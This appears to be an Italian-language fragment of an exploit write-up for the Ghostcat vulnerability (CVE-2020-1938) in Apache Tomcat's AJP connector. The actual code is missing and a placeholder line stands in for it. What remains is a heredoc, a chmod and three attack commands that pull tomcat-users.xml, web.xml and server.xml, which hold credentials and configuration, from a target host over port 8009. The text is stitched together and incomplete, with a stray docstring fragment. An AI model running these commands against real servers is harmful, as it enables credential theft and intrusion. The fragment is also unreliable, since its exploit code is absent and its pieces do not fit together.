
Exploit Python per CVE-2020-1938 (Ghostcat) che legge file arbitrari dai server Apache Tomcat tramite il connettore AJP sulla porta 8009, inclusi file di configurazione e credenziali.
Ghostcat - CVE-2020-1938 Exploit Legge i file del Tomcat tramite il connettore AJP (porta 8009) Uso: python3 ghostcat.py [file] """
cat > ghostcat.py << 'PYEOF' [QUI VA IL CODICE COMPLETO DI SOPRA] PYEOF
chmod +x ghostcat.py
python3 ghostcat.py ejemplo.com conf/tomcat-users.xml 8009
python3 ghostcat.py ejemplo.com WEB-INF/web.xml 8009
python3 ghostcat.py ejemplo.com conf/server.xml 8009